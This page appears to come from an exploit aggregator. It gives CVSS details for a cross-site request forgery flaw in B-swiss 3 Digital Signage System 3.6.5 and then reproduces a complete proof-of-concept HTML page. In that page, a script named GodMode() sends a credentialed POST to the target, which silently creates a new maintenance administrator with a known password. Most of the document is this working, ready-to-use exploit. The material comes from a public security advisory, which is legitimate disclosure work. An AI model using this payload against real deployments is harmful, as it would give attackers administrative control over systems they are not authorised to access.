B-swiss 3 Digital Signage System 3.6.5 Cross-Site Request Forgery (Add Maintenance Admin)
CVE
Category
Price
Severity
N/A
CWE-352
N/A
High
Author
Risk
Exploitation Type
Date
Unknown
High
Remote
2020-10-16
CPE
cpe:cpe:/a:b-swiss:digital_signage_system:3.6.5
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required Low PR The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020100092 Below is a copy:
B-swiss 3 Digital Signage System 3.6.5 Cross-Site Request Forgery (Add Maintenance Admin) # Exploit Title: B-swiss 3 Digital Signage System 3.6.5 - Cross-Site Request Forgery (Add Maintenance Admin)
# Date: 2020-09-16
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.b-swiss.com
# Version: 3.6.5
Affected version: 3.6.5,3.6.2,3.6.1,3.6.0,3.5.80,3.5.40,3.5.20,3.5.00,3.2.00,3.1.00
<!--
B-swiss 3 Digital Signage System 3.6.5 CSRF Add Maintenance Admin
Vendor: B-Swiss SARL | b-tween Sarl
Product web page: https://www.b-swiss.com
Affected version: 3.6.5
3.6.2
3.6.1
3.6.0
3.5.80
3.5.40
3.5.20
3.5.00
3.2.00
3.1.00
Summary: Intelligent digital signage made easy. To go beyond the
possibilities offered, b-swiss allows you to create the communication
solution for your specific needs and your graphic charter. You benefit
from our experience and know-how in the realization of your digital
signage project.
Desc: The application interface allows users to perform certain actions
via HTTP requests without performing any validity checks to verify the
requests. This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site.
Tested on: Linux 5.3.0-46-generic x86_64
Linux 4.15.0-20-generic x86_64
Linux 4.9.78-xxxx-std-ipv6-64
Linux 4.7.0-040700-generic x86_64
Linux 4.2.0-27-generic x86_64
Linux 3.19.0-47-generic x86_64
Linux 2.6.32-5-amd64 x86_64
Darwin 17.6.0 root:xnu-4570.61.1~1 x86_64
macOS 10.13.5
Microsoft Windows 7 Business Edition SP1 i586
Apache/2.4.29 (Ubuntu)
Apache/2.4.18 (Ubuntu)
Apache/2.4.7 (Ubuntu)
Apache/2.2.22 (Win64)
Apache/2.4.18 (Ubuntu)
Apache/2.2.16 (Debian)
PHP/7.2.24-0ubuntu0.18.04.6
PHP/5.6.40-26+ubuntu18.04.1+deb.sury.org+1
PHP/5.6.33-1+ubuntu16.04.1+deb.sury.org+1
PHP/5.6.31
PHP/5.6.30-10+deb.sury.org~xenial+2
PHP/5.5.9-1ubuntu4.17
PHP/5.5.9-1ubuntu4.14
PHP/5.3.10
PHP/5.3.13
PHP/5.3.3-7+squeeze16
PHP/5.3.3-7+squeeze17
MySQL/5.5.49
MySQL/5.5.47
MySQL/5.5.40
MySQL/5.5.30
MySQL/5.1.66
MySQL/5.1.49
MySQL/5.0.77
MySQL/5.0.12-dev
MySQL/5.0.11-dev
MySQL/5.0.8-dev
phpMyAdmin/3.5.7
phpMyAdmin/3.4.10.1deb1
phpMyAdmin/3.4.7
phpMyAdmin/3.3.7deb7
WampServer 3.2.0
Acore Framework 2.0
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2020-5589
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5589.php
13.06.2020
-->
<html>
<body>
<h1>CSRF Add b-swiss Maintenance Admin</h1>
<script>
function GodMode()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/192.168.10.11\/index.php", true);
xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundaryfH6TtIgiA4Qhr6Ed");
xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.9");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");
xhr.withCredentials = true;
var body = "------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"locator\"\r\n" +
"\r\n" +
"Users.Save\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"page\"\r\n" +
"\r\n" +
"\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"sort\"\r\n" +
"\r\n" +
"\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"id\"\r\n" +
"\r\n" +
"\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"ischildgrid\"\r\n" +
"\r\n" +
"\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"inpopup\"\r\n" +
"\r\n" +
"\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"ongridpage\"\r\n" +
"\r\n" +
"\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"rowid\"\r\n" +
"\r\n" +
"\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"preview_screenid\"\r\n" +
"\r\n" +
"\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"rec_firstname\"\r\n" +
"\r\n" +
"TestingusF\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"rec_lastname\"\r\n" +
"\r\n" +
"TestingusL\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"rec_email\"\r\n" +
"\r\n" +
"[email protected] \r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"rec_username\"\r\n" +
"\r\n" +
"testingus\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"rec_password\"\r\n" +
"\r\n" +
"123456\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"rec_cpassword\"\r\n" +
"\r\n" +
"123456\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"rec_adminlevel\"\r\n" +
"\r\n" +
"100000\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"rec_status\"\r\n" +
"\r\n" +
"1\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"rec_poza\"; filename=\"\"\r\n" +
"Content-Type: application/octet-stream\r\n" +
"\r\n" +
"\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"rec_poza_face\"\r\n" +
"\r\n" +
"\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"rec_language\"\r\n" +
"\r\n" +
"french-sw\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"rec_languages[]\"\r\n" +
"\r\n" +
"2\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed\r\n" +
"Content-Disposition: form-data; name=\"rec_can_change_password\"\r\n" +
"\r\n" +
"1\r\n" +
"------WebKitFormBoundaryfH6TtIgiA4Qhr6Ed--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Press me" onclick="GodMode();" />
</form>
</body>
</html>
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